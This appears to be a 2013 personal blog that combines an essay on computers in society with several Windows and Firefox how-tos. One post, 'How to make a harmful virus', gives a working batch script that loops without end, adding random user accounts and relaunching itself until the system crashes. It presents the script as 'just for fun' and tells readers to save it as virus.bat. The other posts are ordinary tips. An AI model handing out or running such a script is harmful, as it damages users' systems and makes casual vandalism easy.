Monday 14 January 2013

USE OF COMPUTER IN OUR SOCIETY

Computers are, perhaps, the best invention by man so far. To understand their impact on society, we will first have to understand the meaning of 'computer'. A computer does not necessarily mean a monitor, keyboard, mouse, and a CPU. It is any machine or device that can compute and execute instructions given to it in the form of programs. So technically, even a cell phone is a computer. And so are desktops, laptops, tablet PCs, and PDAs. Anything that can perform a series of operations on its own is a computer. This gives us an idea as to how wide and deep their roles are in our lives. We need a computer for virtually everything. In the subsequent paragraphs, we will enlist all the applications and uses that these super-devices have in our society.

Application Of Computers


It started with the calculators and punched cards, and moved to vacuum tubes and then the transistors and printed circuit boards. The evolution of computers is still on and at a crazy pace. Below, I have listed their many applications in different fields.

Science

One of the most important advantages of computers is in the field of science for research and development. The computers have played a major role in most of what we know about ourselves and the universe. The satellites, the telescopes and almost all the research tools make use of computers in some or the other way. The huge calculations required for space science, safe communication between scientists, storage of all the gathered information are some of the computer uses in science and technology.

Medical

Research and Development mark significant presence of computers in the daily life. The high-end machines used for diagnosis and cure of many diseases are nothing but computers. For example, the Magnetic Resonance Imaging (MRI), CT scan, ultrasound devices, etc are amongst the most ubiquitous uses of computers in hospitals. Even many surgical procedures, known as laparoscopic surgeries, need the help of computers. Web conferencing helps doctors treat people remotely.

Education

Computer uses in the field of education are infinite. The Internet is a huge source of information. There are online universities that deliver online degrees and distance learning is spreading far and wide. Many schools and colleges have started making use of audio-visual ways of imparting knowledge. A horde of tools that need a computer, help students in many ways. For instance, a MS word, Excel, powerpoint etc.

Banking

The banking sector has improved on fronts such as security, ease of use, etc. with the help of computers. Most of the banking operations can be done online, known as Internet banking, and you don't have to walk up to the bank for virtually anything. You can withdraw money from ATMs and deposit money in any branch, thanks to the networking effected by the use of computers. The complete banking experience has also become more safe.

Crime Investigation

High-end computer devices have ensured that justice is more effective. CCTV cameras and other computer operated security systems have reduced the amount of crime. And if it still happens there are many ways to track down the criminal in no time. Forensic science employs computers for many of its operations related to investigations.

Entertainment

The field of entertainment has been revolutionized by computers. Animation, graphic image manipulation etc has made the entertainment experience hundred times better. Computer gaming is achieving new landmarks in terms of technology. Movie making, editing, music composition etc everything needs computers.

This is only the tip of the iceberg as you and me can't even imagine the ubiquity of computers in today's life. However, the development of computer technology has also given rise to many vices like identity theft. But the truth remains the same - the advantages of computers supersede their disadvantages with pride. 

Meaning for some difficult words:

horde: a large group of people
resonance: the ability to evoke or suggest images 
ubiquitous: presenting ,appear or found every where

laparascopic surgery : visit this for details http://www.fascrs.org/patients/treatments_and_screenings/laparoscopic_surgery/

CCTV camera :CCTV cameras can produce images or recordings for surveillance purposes, and can be either video cameras, or digital stills cameras..

HOW TO CHAT WITH YOUR FACEBOOK FRIENDS ON FIRE FOX SIDEBAR

This is a Tip for facebook addicted friends :-) who wants to chat with his friends as well as he wants to work in fire fox so he can chat on the sidebar of the fire fox with out adding any new tab here is the process...



1. Go to “Bookmarks” menu in Firefox then click “Show All Bookmarks” or alternatively type short cut Keys ” Ctrl+Shift+B” It would bring you to the library of Bookmarks and History.

2. Select “Bookmarks Toolbar” under “All Bookmarks” in the left side corner.

3. Now go to “Organize” menu available in the upper menu bar in left side and click “New Bookmark”

4. Type these values:
Name: Facebook Chat
Location:  http://www.facebook.com/presence/popout.php
and Check mark on “Load this bookmark in the Sidebar” then confirm with Ok

5. Go to “View” menu of Firefox and under Sidebar click ” Bookmarks” it would bring you the sidebar of Bookmarks, then select Facebook chat and start chatting with your friends within Firefox in sidebar.

HOW TO ENABLE TASK MANAGER WHEN IT IS DISABLED.

A task manager is some time disable either by administrator or due to some virus if you want to enable there are different methods..

Method 1:  Using Group Policy Editor - for Windows XP Professional

  • Click Start, Run, type gpedit.msc and click OK.
  • Navigate to this branch:
User Configuration / Administrative Templates / System / Ctrl+Alt+Delete Options / Remove Task Manager
  • Double-click the Remove Task Manager option.
  • Set the policy to Not Configured.

Method 2:

  • Click Start, Run and type Regedit.exe
  • Navigate to the following branch:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System
  • In the right-pane, delete the value named DisableTaskMgr
  • Close Regedit.exe

Thursday 10 January 2013

HOW TO MAKE A HARMFUL VIRUS

In This Tutorial i will tell how to make a virus this virus can be very harmful so be care full don't run it on your P.c if you are not having the Backup of your system  because it can crash your system..
Description: this virus automatically creates unlimited  users in the system...

here is how we start:

goto start menu -> click run ->type notepad -> then copy the following code

@echo off
echo muhahahha!
:add
net user %random% /add
start acf.bat
goto add

now save the file with a name and save as batch file example save it as (virus.bat)

hope you don't use it to harm others but  just for fun... :-))

HOW TO INSTALL WINDOWS SEVEN AND EIGHT FROM YOUR USB STICK


HOW TO INSTALL WINDOWS SEVEN FROM A USB DRIVE

Requirements:
*USB Flash Drive (Minimum 4GB)
*Windows 7 or Windows 8 installation files.
Follow the below steps to create bootable Windows 7/Windows 8 USB drive using which you can install Windows 7 or Windows 8 easily.
Procedure:
1. Plug-in your USB flash drive to USB port and move all the contents from USB drive to a safe location on your system.
2. Open Command Prompt with admin rights. Use any of the below methods to open Command Prompt with admin rights.
*Type cmd in Start menu search box and hit Ctrl+ Shift+ Enter.
Or
*Go to Start menu > All programs > Accessories, right click on Command Prompt and select Run as administrator.
3. You need to know about the USB drive a little bit. Type in the following commands in the command prompt:
First type DISKPART and hit enter to see the below message.
Bootable USB Drive
Next type LIST DISK command and note down the Disk number (ex: Disk 1) of your USB flash drive. In the below screenshot my Flash Drive Disk no is Disk 1.
4. Next type all the below commands one by one. Here I assume that your disk drive no is “Disk 1”.If you have Disk 2 as your USB flash drive then use Disk 2.Refer the above step to confirm it.
So below are the commands you need to type and execute one by one:
SELECT DISK 1
CLEAN
CREATE PARTITION PRIMARY
SELECT PARTITION 1
ACTIVE
FORMAT FS=NTFS
(Format process may take few seconds)
ASSIGN
EXIT
Don’t close the command prompt as we need to execute one more command at the next step. Just minimize it.
Bootable USB Drive
5. Next insert your Windows7/Windows 8 DVD into the optical drive and check the drive letter of the DVD drive. In this guide I will assume that your DVD drive letter is “D” and USB drive letter is “H” (open my computer to know about it).
6. Maximize the minimized Command Prompt in the 4th step.Type  the following command now:
D: CD BOOT and hit enter.Where “D” is your DVD drive letter.
CD BOOT and hit enter to see the below message.
7. Type another command given below to update the USB drive with BOOTMGR compatible code.
BOOTSECT.EXE /NT60 H:
14
Where “H” is your USB drive letter. Once you enter the above command you will see the below message.
8. Copy your Windows 7 or Windows 8 DVD contents to the USB flash drive.
9. Your USB drive is ready to boot and install Windows 7 or Windows 8. Only thing you need to change the boot priority at the BIOS to USB from the HDD or CD ROM drive. I won’t explain it as it’s just the matter the changing the boot priority or enabling the USB boot option in the BIOS.